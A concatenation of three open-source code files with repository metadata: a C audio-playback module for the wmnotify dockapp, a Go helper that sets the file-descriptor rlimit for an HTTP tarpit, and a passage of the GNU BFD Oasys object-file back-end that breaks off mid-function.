* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#if HAVE_CONFIG_H
# include "config.h"
#endif
#if defined(HAVE_SNDFILE)
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#if defined(__linux__)
# include <fcntl.h>
# include <sys/ioctl.h>
# include <sys/soundcard.h>
#elif( defined(sun) && defined(unix) )
# include <fcntl.h>
# include <sys/ioctl.h>
# include <sys/audioio.h>
#endif
#include <sndfile.h>
#include "common.h"
#include "wmnotify.h"
#include "sound.h"
#define BUFFER_LEN ((sf_count_t) 2048)
static int
OpenDspDevice( int channels, int srate )
{
int fd, status;
#if defined (__linux__)
int stereo, temp;
const char audio_device[] = "/dev/dsp";
#elif( defined(sun) && defined(unix) )
audio_info_t audio_info;
const char audio_device[] = "/dev/audio";
#endif
#if defined (__linux__)
fd = open( audio_device, O_WRONLY, 0 );
#elif( defined(sun) && defined(unix) )
/* Open the audio device - write only, non-blocking */
fd = open( audio_device, O_WRONLY | O_NONBLOCK );
#endif
if( fd < 0 ) {
fprintf( stderr, "%s: open() failed trying to open device '%s':\n", PACKAGE,
audio_device );
fprintf( stderr, " %s\n", strerror( errno ) );
fprintf( stderr,
" Check if device file exists and has correct write permissions.\n" );
ErrorLocation( __FILE__, __LINE__ );
return -1;
}
#if defined (__linux__)
stereo = 0;
status = ioctl( fd, SNDCTL_DSP_STEREO, &stereo );
if( status == -1 ) {
fprintf( stderr, "%s: ioctl() failed: %s\n", PACKAGE, strerror( errno ) );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
status = ioctl( fd, SNDCTL_DSP_RESET, 0 );
if( status > 0 ) {
fprintf( stderr, "%s: ioctl() failed: %s\n", PACKAGE, strerror( errno ) );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
temp = 16;
status = ioctl( fd, SOUND_PCM_WRITE_BITS, &temp );
if( status != 0 ) {
fprintf( stderr, "%s: ioctl() failed: %s\n", PACKAGE, strerror( errno ) );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
status = ioctl( fd, SOUND_PCM_WRITE_CHANNELS, &channels );
if( status != 0 ) {
fprintf( stderr, "%s: ioctl() failed: %s\n", PACKAGE, strerror( errno ) );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
status = ioctl( fd, SOUND_PCM_WRITE_RATE, &srate );
if( status != 0 ) {
fprintf( stderr, "%s: ioctl() failed: %s\n", PACKAGE, strerror( errno ) );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
status = ioctl( fd, SNDCTL_DSP_SYNC, 0 );
if( status != 0 ) {
fprintf( stderr, "%s: ioctl() failed: %s\n", PACKAGE, strerror( errno ) );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
#elif( defined(sun) && defined(unix) )
/* Retrieve standard values. */
AUDIO_INITINFO( &audio_info );
audio_info.play.sample_rate = sfinfo.samplerate;
audio_info.play.channels = sfinfo.channels;
audio_info.play.precision = 16;
audio_info.play.encoding = AUDIO_ENCODING_LINEAR;
audio_info.play.gain = AUDIO_MAX_GAIN;
audio_info.play.balance = AUDIO_MID_BALANCE;
status = ioctl( audio_fd, AUDIO_SETINFO, &audio_info );
if( status > 0 ) {
fprintf( stderr, "%s: ioctl() failed: %s\n", PACKAGE, strerror( errno ) );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
#endif
return fd;
}
void
PlayAudioFile( char *filename, int volume )
{
static short buffer[BUFFER_LEN];
SNDFILE *sndfile;
SF_INFO sfinfo;
int audio_fd;
int readcount;
int status;
#if defined (__linux__)
int subformat;
int m;
#elif( defined(sun) && defined(unix) )
unsigned long delay_time;
long start_count, output_count, write_count;
bool done;
#endif
if( wmnotify_infos.debug ) {
printf( "%s: PlayAudioFile() Entry\n", PACKAGE );
}
if( filename == NULL ) {
fprintf( stderr, "%s: No audio file specified.\n", PACKAGE );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
sndfile = sf_open( filename, SFM_READ, &sfinfo );
if( sndfile == NULL ) {
fprintf( stderr, "%s: sf_open() failed trying to open '%s':\n", PACKAGE, filename );
fprintf( stderr, " %s\n", sf_strerror(NULL) );
fprintf( stderr, " Check if file exists and has correct read permissions.\n" );
ErrorLocation( __FILE__, __LINE__ );
return;
}
if( sfinfo.channels < 1 || sfinfo.channels > 2 ) {
fprintf( stderr, "%s: Audio file has %d channel(s), but ", PACKAGE, sfinfo.channels );
fprintf( stderr, "we support only 1 or 2 channels.\n" );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
audio_fd = OpenDspDevice( sfinfo.channels, sfinfo.samplerate );
if( audio_fd < 0 ) {
goto play_audio_file_close_file;
}
#if( defined(sun) && defined(unix) )
/* Delay time equal to 1/4 of a buffer in microseconds. */
delay_time = (BUFFER_LEN * 1000000) / (sfinfo.samplerate * 4);
#endif
subformat = sfinfo.format & SF_FORMAT_SUBMASK;
if( subformat == SF_FORMAT_FLOAT || subformat == SF_FORMAT_DOUBLE ) {
static float flt_buffer[BUFFER_LEN];
double scale;
status = sf_command( sndfile, SFC_CALC_SIGNAL_MAX, &scale, (int) sizeof(scale) );
if( status == 0 ) {
fprintf( stderr, "%s: Warning, sf_command() failed.\n", PACKAGE );
ErrorLocation( __FILE__, __LINE__ );
goto play_audio_file_close_audio;
}
if (scale < 1e-10) {
scale = 1.0;
}
else {
scale = 32700.0 / scale;
}
while( ( readcount = (int) sf_read_float( sndfile, flt_buffer, BUFFER_LEN ) ) != 0 ) {
/* Linux/OSS -- FLOAT samples */
#if defined (__linux__)
for( m = 0 ; m < readcount ; m++ ) {
/* Float to integer conversion. */
buffer[m] = (short) ( scale * flt_buffer[m] );
/* Changing volume */
buffer[m] = buffer[m] * volume / 100;
}
status = (int) write( audio_fd, buffer, readcount * sizeof(short) );
if( status == -1 ) {
perror( PACKAGE );
ErrorLocation( __FILE__, __LINE__ );
goto play_audio_file_close_audio;
}
/* Solaris -- FLOAT samples */
#elif( defined(sun) && defined(unix) )
start_count = 0;
output_count = read_count * sizeof(short);
while( output_count > 0 ) {
/* Write as much data as possible */
for( m = 0 ; m < readcount ; m++ ) {
/* Float to integer conversion. */
buffer[m] = (short) ( scale * flt_buffer[m] );
/* Changing volume */
buffer[m] = buffer[m] * volume / 100;
}
write_count = write( audio_fd, &(buffer[start_count]), output_count );
if( write_count > 0 ) {
output_count -= write_count;
start_count += write_count;
}
else {
/* Give the audio output time to catch up. */
usleep( delay_time );
}
} /* while( output_count > 0 ) */
#endif
} /* while( ( readcount... ) */
}
else {
while( ( readcount = (int) sf_read_short( sndfile, buffer, BUFFER_LEN ) ) != 0 ) {
/* Linux/OSS -- INTEGER samples */
#if defined (__linux__)
/* Changing volume... */
for( m = 0 ; m < readcount ; m++ ) {
buffer[m] = ( buffer[m] * volume ) / 100;
}
status = (int) write( audio_fd, buffer, readcount * sizeof(short) );
if( status == -1 ) {
perror( PACKAGE );
ErrorLocation( __FILE__, __LINE__ );
goto play_audio_file_close_audio;
}
/* Solaris -- INTEGER samples */
#elif( defined(sun) && defined(unix) )
start_count = 0;
output_count = read_count * sizeof(short);
while( output_count > 0 ) {
/* Write as much data as possible */
/* Changing volume. */
for( m = 0 ; m < read_count ; m++ ) {
buffer[m] = ( buffer[m] * volume ) / 100;
}
write_count = write( audio_fd, &(buffer[start_count]), output_count );
if( write_count > 0 ) {
output_count -= write_count;
start_count += write_count;
}
else {
/* Give the audio output time to catch up. */
usleep( delay_time );
}
} /* while( output_count > 0 ) */
#endif
} /* while( ( readcount... ) */
} /* else */
play_audio_file_close_audio:
status = close( audio_fd );
if( status != 0 ) {
fprintf( stderr, "%s: Error, close() failed.\n", PACKAGE );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
play_audio_file_close_file:
status = sf_close( sndfile );
if( status != 0 ) {
fprintf( stderr, "%s: Error, sf_close() failed.\n", PACKAGE );
ErrorLocation( __FILE__, __LINE__ );
exit( EXIT_FAILURE );
}
if( wmnotify_infos.debug ) {
printf( "%s: PlayAudioFile() Exit\n", PACKAGE );
}
return;
}
#endif /* HAVE_SNDFILE */
|
burzumishi/XCompWMaker
|
WMaker/dockapps/wmnotify/src/sound.c
|
C
|
gpl-2.0
| 9,399
|
package main
import (
"flag"
"log"
"syscall"
)
var maxConnections = flag.Int("max_connections", getRlimitMax(syscall.RLIMIT_NOFILE), "The maximum number of incoming connections allowed.")
func getRlimitMax(resource int) int {
var rlimit syscall.Rlimit
if err := syscall.Getrlimit(resource, &rlimit); err != nil {
return 0
}
return int(rlimit.Max)
}
func setRlimit(resource, value int) {
rlimit := &syscall.Rlimit{Cur: uint64(value), Max: uint64(value)}
err := syscall.Setrlimit(resource, rlimit)
if err != nil {
log.Fatalln("Error Setting Rlimit ", err)
}
}
func setRlimitFromFlags() {
setRlimit(syscall.RLIMIT_NOFILE, *maxConnections)
}
|
die-net/http-tarpit
|
rlimit.go
|
GO
|
gpl-2.0
| 662
|
/* BFD back-end for oasys objects.
Copyright 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2001,
2002, 2003, 2004, 2005, 2006, 2007, 2009 Free Software Foundation, Inc.
Written by Steve Chamberlain of Cygnus Support, <sac@cygnus.com>.
This file is part of BFD, the Binary File Descriptor library.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston,
MA 02110-1301, USA. */
#define UNDERSCORE_HACK 1
#include "sysdep.h"
#include "bfd.h"
#include "safe-ctype.h"
#include "libbfd.h"
#include "oasys.h"
#include "liboasys.h"
/* Read in all the section data and relocation stuff too. */
static bfd_boolean
oasys_read_record (bfd *abfd, oasys_record_union_type *record)
{
bfd_size_type amt = sizeof (record->header);
if (bfd_bread ((void *) record, amt, abfd) != amt)
return FALSE;
amt = record->header.length - sizeof (record->header);
if ((long) amt <= 0)
return TRUE;
if (bfd_bread ((void *) ((char *) record + sizeof (record->header)), amt, abfd)
!= amt)
return FALSE;
return TRUE;
}
static size_t
oasys_string_length (oasys_record_union_type *record)
{
return record->header.length
- ((char *) record->symbol.name - (char *) record);
}
/* Slurp the symbol table by reading in all the records at the start file
till we get to the first section record.
We'll sort the symbolss into two lists, defined and undefined. The
undefined symbols will be placed into the table according to their
refno.
We do this by placing all undefined symbols at the front of the table
moving in, and the defined symbols at the end of the table moving back. */
static bfd_boolean
oasys_slurp_symbol_table (bfd *const abfd)
{
oasys_record_union_type record;
oasys_data_type *data = OASYS_DATA (abfd);
bfd_boolean loop = TRUE;
asymbol *dest_defined;
asymbol *dest;
char *string_ptr;
bfd_size_type amt;
if (data->symbols != NULL)
return TRUE;
/* Buy enough memory for all the symbols and all the names. */
amt = abfd->symcount;
amt *= sizeof (asymbol);
data->symbols = bfd_alloc (abfd, amt);
amt = data->symbol_string_length;
#ifdef UNDERSCORE_HACK
/* Buy 1 more char for each symbol to keep the underscore in. */
amt += abfd->symcount;
#endif
data->strings = bfd_alloc (abfd, amt);
if (!data->symbols || !data->strings)
return FALSE;
dest_defined = data->symbols + abfd->symcount - 1;
string_ptr = data->strings;
if (bfd_seek (abfd, (file_ptr) 0, SEEK_SET) != 0)
return FALSE;
while (loop)
{
if (! oasys_read_record (abfd, &record))
return FALSE;
switch (record.header.type)
{
case oasys_record_is_header_enum:
break;
case oasys_record_is_local_enum:
case oasys_record_is_symbol_enum:
{
int flag = record.header.type == (int) oasys_record_is_local_enum ?
(BSF_LOCAL) : (BSF_GLOBAL | BSF_EXPORT);
size_t length = oasys_string_length (&record);
switch (record.symbol.relb & RELOCATION_TYPE_BITS)
{
case RELOCATION_TYPE_ABS:
dest = dest_defined--;
dest->section = bfd_abs_section_ptr;
dest->flags = 0;
break;
case RELOCATION_TYPE_REL:
dest = dest_defined--;
dest->section =
OASYS_DATA (abfd)->sections[record.symbol.relb &
RELOCATION_SECT_BITS];
if (record.header.type == (int) oasys_record_is_local_enum)
{
dest->flags = BSF_LOCAL;
if (dest->section == (asection *) (~0))
{
/* It seems that sometimes internal symbols are tied up, but
still get output, even though there is no
section */
dest->section = 0;
}
}
else
dest->flags = flag;
break;
case RELOCATION_TYPE_UND:
dest = data->symbols + H_GET_16 (abfd, record.symbol.refno);
dest->section = bfd_und_section_ptr;
break;
case RELOCATION_TYPE_COM:
dest = dest_defined--;
dest->name = string_ptr;
dest->the_bfd = abfd;
dest->section = bfd_com_section_ptr;
break;
default:
dest = dest_defined--;
BFD_ASSERT (FALSE);
break;
}
dest->name = string_ptr;
dest->the_bfd = abfd;
dest->udata.p = NULL;
dest->value = H_GET_32 (abfd, record.symbol.value);
#ifdef UNDERSCORE_HACK
if (record.symbol.name[0] != '_')
{
string_ptr[0] = '_';
string_ptr++;
}
#endif
memcpy (string_ptr, record.symbol.name, length);
string_ptr[length] = 0;
string_ptr += length + 1;
}
break;
default:
loop = FALSE;
}
}
return TRUE;
}
static long
oasys_get_symtab_upper_bound (bfd *const abfd)
{
if (! oasys_slurp_symbol_table (abfd))
return -1;
return (abfd->symcount + 1) * (sizeof (oasys_symbol_type *));
}
extern const bfd_target oasys_vec;
static long
oasys_canonicalize_symtab (bfd *abfd, asymbol **location)
{
asymbol *symbase;
unsigned int counter;
if (! oasys_slurp_symbol_table (abfd))
return -1;
symbase = OASYS_DATA (abfd)->symbols;
for (counter = 0; counter < abfd->symcount; counter++)
*(location++) = symbase++;
*location = 0;
return abfd->symcount;
}
/* Archive stuff. */
static const bfd_target *
oasys_archive_p (bfd *abfd)
{
oasys_archive_header_type header;
oasys_extarchive_header_type header_ext;
unsigned int i;
file_ptr filepos;
bfd_size_type amt;
amt = sizeof (header_ext);
if (bfd_seek (abfd, (file_ptr) 0, 0) != 0
|| bfd_bread ((void *) &header_ext, amt, abfd) != amt)
{
if (bfd_get_error () != bfd_error_system_call)
bfd_set_error (bfd_error_wrong_format);
return NULL;
}
header.version = H_GET_32 (abfd, header_ext.version);
header.mod_count = H_GET_32 (abfd, header_ext.mod_count);
header.mod_tbl_offset = H_GET_32 (abfd, header_ext.mod_tbl_offset);
header.sym_tbl_size = H_GET_32 (abfd, header_ext.sym_tbl_size);
header.sym_count = H_GET_32 (abfd, header_ext.sym_count);
header.sym_tbl_offset = H_GET_32 (abfd, header_ext.sym_tbl_offset);
header.xref_count = H_GET_32 (abfd, header_ext.xref_count);
header.xref_lst_offset = H_GET_32 (abfd, header_ext.xref_lst_offset);
/* There isn't a magic number in an Oasys archive, so the best we
can do to verify reasonableness is to make sure that the values in
the header are too weird. */
if (header.version > 10000
|| header.mod_count > 10000
|| header.sym_count > 100000
|| header.xref_count > 100000)
return NULL;
/* That all worked, let's buy the space for the header and read in
the headers. */
{
oasys_ar_data_type *ar;
oasys_module_info_type *module;
oasys_module_table_type record;
amt = sizeof (oasys_ar_data_type);
ar = bfd_alloc (abfd, amt);
amt = header.mod_count;
amt *= sizeof (oasys_module_info_type);
module = bfd_alloc (abfd, amt);
if (!ar || !module)
return NULL;
abfd->tdata.oasys_ar_data = ar;
ar->module = module;
ar->module_count = header.mod_count;
filepos = header.mod_tbl_offset;
for (i = 0; i < header.mod_count; i++)
{
if (bfd_seek (abfd, filepos, SEEK_SET) != 0)
return NULL;
/* There are two ways of specifying the archive header. */
{
oasys_extmodule_table_type_b_type record_ext;
amt = sizeof (record_ext);
if (bfd_bread ((void *) &record_ext, amt, abfd) != amt)
return NULL;
record.mod_size = H_GET_32 (abfd, record_ext.mod_size);
record.file_offset = H_GET_32 (abfd, record_ext.file_offset);
record.dep_count = H_GET_32 (abfd, record_ext.dep_count);
record.depee_count = H_GET_32 (abfd, record_ext.depee_count);
record.sect_count = H_GET_32 (abfd, record_ext.sect_count);
record.module_name_size = H_GET_32 (abfd,
record_ext.mod_name_length);
amt = record.module_name_size;
module[i].name = bfd_alloc (abfd, amt + 1);
if (!module[i].name)
return NULL;
if (bfd_bread ((void *) module[i].name, amt, abfd) != amt)
return NULL;
module[i].name[record.module_name_size] = 0;
filepos += (sizeof (record_ext)
+ record.dep_count * 4
+ record.module_name_size + 1);
}
module[i].size = record.mod_size;
module[i].pos = record.file_offset;
module[i].abfd = 0;
}
}
return abfd->xvec;
}
static bfd_boolean
oasys_mkobject (bfd *abfd)
{
bfd_size_type amt = sizeof (oasys_data_type);
abfd->tdata.oasys_obj_data = bfd_alloc (abfd, amt);
return abfd->tdata.oasys_obj_data != NULL;
}
/* The howto table is build using the top two bits of a reloc byte to
index into it. The bits are PCREL,WORD/LONG. */
static reloc_howto_type howto_table[] =
{
HOWTO (0, 0, 1, 16, FALSE, 0, complain_overflow_bitfield, 0, "abs16", TRUE, 0x0000ffff, 0x0000ffff, FALSE),
HOWTO (0, 0, 2, 32, FALSE, 0, complain_overflow_bitfield, 0, "abs32", TRUE, 0xffffffff, 0xffffffff, FALSE),
HOWTO (0, 0, 1, 16, TRUE, 0, complain_overflow_signed, 0, "pcrel16", TRUE, 0x0000ffff, 0x0000ffff, FALSE),
HOWTO (0, 0, 2, 32, TRUE, 0, complain_overflow_signed, 0, "pcrel32", TRUE, 0xffffffff, 0xffffffff, FALSE)
};
/* Read in all the section data and relocation stuff too. */
static bfd_boolean
oasys_slurp_section_data (bfd *const abfd)
{
oasys_record_union_type record;
oasys_data_type *data = OASYS_DATA (abfd);
bfd_boolean loop = TRUE;
oasys_per_section_type *per;
asection *s;
bfd_size_type amt;
/* See if the data has been slurped already. */
for (s = abfd->sections; s != NULL; s = s->next)
{
per = oasys_per_section (s);
if (per->initialized)
return TRUE;
}
if (data->first_data_record == 0)
return TRUE;
if (bfd_seek (abfd, data->first_data_record, SEEK_SET) != 0)
return FALSE;
while (loop)
{
if (! oasys_read_record (abfd, &record))
return FALSE;
switch (record.header.type)
{
case oasys_record_is_header_enum:
break;
case oasys_record_is_data_enum:
{
bfd_byte *src = record.data.data;
bfd_byte *end_src = ((bfd_byte *) & record) + record.header.length;
bfd_byte *dst_ptr;
bfd_byte *dst_base_ptr;
unsigned int relbit;
unsigned int count;
asection *section =
data->sections[record.data.relb & RELOCATION_SECT_BITS];
bfd_vma dst_offset;
per = oasys_per_section (section);
if (! per->initialized)
{
arelent **relpp;
per->data = bfd_zalloc (abfd, section->size);
if (!per->data)
return FALSE;
relpp = §ion->relocation;
per->reloc_tail_ptr = (oasys_reloc_type **) relpp;
per->had_vma = FALSE;
per->initialized = TRUE;
section->reloc_count = 0;
section->flags = SEC_ALLOC;
}
dst_offset = H_GET_32 (abfd, record.data.addr);
if (! per->had_vma)
{
/* Take the first vma we see as the base. */
section->vma = dst_offset;
per->had_vma = TRUE;
}
dst_offset -= section->vma;
dst_base_ptr = oasys_per_section (section)->data;
dst_ptr = oasys_per_section (section)->data +
dst_offset;
if (src < end_src)
section->flags |= SEC_LOAD | SEC_HAS_CONTENTS;
while (src < end_src)
{
unsigned char mod_byte = *src++;
size_t gap = end_src - src;
count = 8;
if (mod_byte == 0 && gap >= 8)
{
dst_ptr[0] = src[0];
dst_ptr[1] = src[1];
dst_ptr[2] = src[2];
dst_ptr[3] = src[3];
dst_ptr[4] = src[4];
dst_ptr[5] = src[5];
dst_ptr[6] = src[6];
dst_ptr[7] = src[7];
dst_ptr += 8;
src += 8;
}
else
{
for (relbit = 1; count-- != 0 && src < end_src; relbit <<= 1)
{
if (relbit & mod_byte)
{
unsigned char reloc = *src;
/* This item needs to be relocated. */
switch (reloc & RELOCATION_TYPE_BITS)
{
case RELOCATION_TYPE_ABS:
break;
case RELOCATION_TYPE_REL:
{
/* Relocate the item relative to the section. */
oasys_reloc_type *r;
amt = sizeof (oasys_reloc_type);
r = bfd_alloc (abfd, amt);
if (!r)
return FALSE;
*(per->reloc_tail_ptr) = r;
per->reloc_tail_ptr = &r->next;
r->next = NULL;
/* Reference to undefined symbol. */
src++;
/* There is no symbol. */
r->symbol = 0;
/* Work out the howto. */
abort ();
r->relent.address = dst_ptr - dst_base_ptr;
r->relent.howto = &howto_table[reloc >> 6];
r->relent.sym_ptr_ptr = NULL;
section->reloc_count++;
/* Fake up the data to look like
it's got the -ve pc in it, this
makes it much easier to convert
into other formats. This is done
by hitting the addend. */
if (r->relent.howto->pc_relative)
r->relent.addend -= dst_ptr - dst_base_ptr;
}
break;
case RELOCATION_TYPE_UND:
{
oasys_reloc_type *r;
amt = sizeof (oasys_reloc_type);
r = bfd_alloc (abfd, amt);
if (!r)
return FALSE;
*(per->reloc_tail_ptr) = r;
per->reloc_tail_ptr = &r->next;
r->next = NULL;
/* Reference to undefined symbol. */
src++;
/* Get symbol number. */
r->symbol = (src[0] << 8) | src[1];
/* Work out the howto. */
abort ();
r->relent.addend = 0;
r->relent.address = dst_ptr - dst_base_ptr;
r->relent.howto = &howto_table[reloc >> 6];
r->relent.sym_ptr_ptr = NULL;
section->reloc_count++;
src += 2;
/* Fake up the data to look like
it's got the -ve pc in it, this
makes it much easier to convert
into other formats. This is done
by hitting the addend. */
if (r->relent.howto->pc_relative)
r->relent.addend -= dst_ptr - dst_base_ptr;
}
break;
case RELOCATION_TYPE_COM:
BFD_FAIL ();
}
}
*dst_ptr++ = *src++;
}
}
}
}
break;
case oasys_record_is_local_enum:
case oasys_record_is_symbol_enum:
case oasys_record_is_section_enum:
break;
default:
loop = FALSE;
}
}
return TRUE;
}
#define MAX_SECS 16
static const bfd_target *
oasys_object_p (bfd *abfd)
{
oasys_data_type *oasys;
oasys_data_type *save = OASYS_DATA (abfd);
bfd_boolean loop = TRUE;
bfd_boolean had_usefull = FALSE;
abfd->tdata.oasys_obj_data = 0;
oasys_mkobject (abfd);
oasys = OASYS_DATA (abfd);
memset ((void *) oasys->sections, 0xff, sizeof (oasys->sections));
/* Point to the start of the file. */
if (bfd_seek (abfd, (file_ptr) 0, SEEK_SET) != 0)
goto fail;
oasys->symbol_string_length = 0;
/* Inspect the records, but only keep the section info -
remember the size of the symbols. */
oasys->first_data_record = 0;
while (loop)
{
oasys_record_union_type record;
if (! oasys_read_record (abfd, &record))
goto fail;
if ((size_t) record.header.length < (size_t) sizeof (record.header))
goto fail;
switch ((oasys_record_enum_type) (record.header.type))
{
case oasys_record_is_header_enum:
had_usefull = TRUE;
break;
case oasys_record_is_symbol_enum:
case oasys_record_is_local_enum:
/* Count symbols and remember their size for a future malloc. */
abfd->symcount++;
oasys->symbol_string_length += 1 + oasys_string_length (&record);
had_usefull = TRUE;
break;
case oasys_record_is_section_enum:
{
asection *s;
char *buffer;
unsigned int section_number;
if (record.section.header.length != sizeof (record.section))
goto fail;
buffer = bfd_alloc (abfd, (bfd_size_type) 3);
if (!buffer)
goto fail;
section_number = record.section.relb & RELOCATION_SECT_BITS;
sprintf (buffer, "%u", section_number);
s = bfd_make_section (abfd, buffer);
oasys->sections[section_number] = s;
switch (record.section.relb & RELOCATION_TYPE_BITS)
{
case RELOCATION_TYPE_ABS:
case RELOCATION_TYPE_REL:
break;
case RELOCATION_TYPE_UND:
case RELOCATION_TYPE_COM:
BFD_FAIL ();
}
s->size = H_GET_32 (abfd, record.section.value);
s->vma = H_GET_32 (abfd, record.section.vma);
s->flags = 0;
had_usefull = TRUE;
}
break;
case oasys_record_is_data_enum:
oasys->first_data_record = bfd_tell (abfd) - record.header.length;
case oasys_record_is_debug_enum:
case oasys_record_is_module_enum:
case oasys_record_is_named_section_enum:
case oasys_record_is_end_enum:
if (! had_usefull)
goto fail;
loop = FALSE;
break;
default:
goto fail;
}
}
oasys->symbols = NULL;
/* Oasys support several architectures, but I can't see a simple way
to discover which one is in a particular file - we'll guess. */
bfd_default_set_arch_mach (abfd, bfd_arch_m68k, 0);
if (abfd->symcount != 0)
abfd->flags |= HAS_SYMS;
/* We don't know if a section has data until we've read it. */
oasys_slurp_section_data (abfd);
return abfd->xvec;
fail:
(void) bfd_release (abfd, oasys);
abfd->tdata.oasys_obj_data = save;
return NULL;
}
static void
oasys_get_symbol_info (bfd *ignore_abfd ATTRIBUTE_UNUSED,
asymbol *symbol,
symbol_info *ret)
{
bfd_symbol_info (symbol, ret);
if (!symbol->section)
ret->type = (symbol->flags & BSF_LOCAL) ? 'a' : 'A';
}
static void
oasys_print_symbol (bfd *abfd, void * afile, asymbol *symbol, bfd_print_symbol_type how)
{
FILE *file = (FILE *) afile;
switch (how)
{
case bfd_print_symbol_name:
case bfd_print_symbol_more:
fprintf (file, "%s", symbol->name);
break;
case bfd_print_symbol_all:
{
const char *section_name = symbol->section == NULL ?
(const char *) "*abs" : symbol->section->name;
bfd_print_symbol_vandf (abfd, (void *) file, symbol);
fprintf (file, " %-5s %s",
section_name,
symbol->name);
}
break;
}
}
static bfd_boolean
oasys_new_section_hook (bfd *abfd, asection *newsect)
{
if (!newsect->used_by_bfd)
{
newsect->used_by_bfd
= bfd_alloc (abfd, (bfd_size_type) sizeof (oasys_per_section_type));
if (!newsect->used_by_bfd)
return FALSE;
}
oasys_per_section (newsect)->data = NULL;
oasys_per_section (newsect)->section = newsect;
oasys_per_section (newsect)->offset = 0;
oasys_per_section (newsect)->initialized = FALSE;
newsect->alignment_power = 1;
/* Turn the section string into an index. */
sscanf (newsect->name, "%u", &newsect->target_index);
return _bfd_generic_new_section_hook (abfd, newsect);
}
static long
oasys_get_reloc_upper_bound (bfd *abfd, sec_ptr asect)
{
if (! oasys_slurp_section_data (abfd))
return -1;
return (asect->reloc_count + 1) * sizeof (arelent *);
}
static bfd_boolean
oasys_get_section_contents (bfd *abfd,
sec_ptr section,
void * location,
file_ptr offset,
bfd_size_type count)
{
oasys_per_section_type *p = oasys_per_section (section);
oasys_slurp_section_data (abfd);
if (! p->initialized)
(void) memset (location, 0, (size_t) count);
else
(void) memcpy (location, (void *) (p->data + offset), (size_t) count);
return TRUE;
}
static long
oasys_canonicalize_reloc (bfd *ignore_abfd ATTRIBUTE_UNUSED,
sec_ptr section,
arelent **relptr,
asymbol **symbols ATTRIBUTE_UNUSED)
{
unsigned int reloc_count = 0;
oasys_reloc_type *src = (oasys_reloc_type *) (section->relocation);
if (src != NULL)
abort ();
*relptr = NULL;
return section->reloc_count = reloc_count;
}
/* Writing. */
/* Calculate the checksum and write one record. */
static bfd_boolean
oasys_write_record (bfd *abfd,
oasys_record_enum_type type,
oasys_record_union_type *record,
size_t size)
{
int checksum;
size_t i;
unsigned char *ptr;
record->header.length = size;
record->header.type = (int) type;
record->header.check_sum = 0;
record->header.fill = 0;
ptr = (unsigned char *) &record->pad[0];
checksum = 0;
for (i = 0; i < size; i++)
checksum += *ptr++;
record->header.check_sum = 0xff & (-checksum);
if (bfd_bwrite ((void *) record, (bfd_size_type) size, abfd) != size)
return FALSE;
return TRUE;
}
/* Write out all the symbols. */
static bfd_boolean
oasys_write_syms (bfd *abfd)
{
unsigned int count;
asymbol **generic = bfd_get_outsymbols (abfd);
unsigned int sym_index = 0;
for (count = 0; count < bfd_get_symcount (abfd); count++)
{
oasys_symbol_record_type symbol;
asymbol *const g = generic[count];
const char *src = g->name;
char *dst = symbol.name;
unsigned int l = 0;
if (bfd_is_com_section (g->section))
{
symbol.relb = RELOCATION_TYPE_COM;
H_PUT_16 (abfd, sym_index, symbol.refno);
sym_index++;
}
else if (bfd_is_abs_section (g->section))
{
symbol.relb = RELOCATION_TYPE_ABS;
H_PUT_16 (abfd, 0, symbol.refno);
}
else if (bfd_is_und_section (g->section))
{
symbol.relb = RELOCATION_TYPE_UND;
H_PUT_16 (abfd, sym_index, symbol.refno);
/* Overload the value field with the output sym_index number */
sym_index++;
}
else if (g->flags & BSF_DEBUGGING)
/* Throw it away. */
continue;
else
{
if (g->section == NULL)
/* Sometime, the oasys tools give out a symbol with illegal
bits in it, we'll output it in the same broken way. */
symbol.relb = RELOCATION_TYPE_REL | 0;
else
symbol.relb = RELOCATION_TYPE_REL | g->section->output_section->target_index;
H_PUT_16 (abfd, 0, symbol.refno);
}
#ifdef UNDERSCORE_HACK
if (src[l] == '_')
dst[l++] = '.';
#endif
while (src[l])
{
dst[l] = src[l];
l++;
}
H_PUT_32 (abfd, g->value, symbol.value);
if (g->flags & BSF_LOCAL)
{
if (! oasys_write_record (abfd,
oasys_record_is_local_enum,
(oasys_record_union_type *) & symbol,
offsetof (oasys_symbol_record_type,
name[0]) + l))
return FALSE;
}
else
{
if (! oasys_write_record (abfd,
oasys_record_is_symbol_enum,
(oasys_record_union_type *) & symbol,
offsetof (oasys_symbol_record_type,
name[0]) + l))
return FALSE;
}
g->value = sym_index - 1;
}
return TRUE;
}
/* Write a section header for each section. */
static bfd_boolean
oasys_write_sections (bfd *abfd)
{
asection *s;
static oasys_section_record_type out;
for (s = abfd->sections; s != NULL; s = s->next)
{
if (!ISDIGIT (s->name[0]))
{
(*_bfd_error_handler)
(_("%s: can not represent section `%s' in oasys"),
bfd_get_filename (abfd), s->name);
bfd_set_error (bfd_error_nonrepresentable_section);
return FALSE;
}
out.relb = RELOCATION_TYPE_REL | s->target_index;
H_PUT_32 (abfd, s->size, out.value);
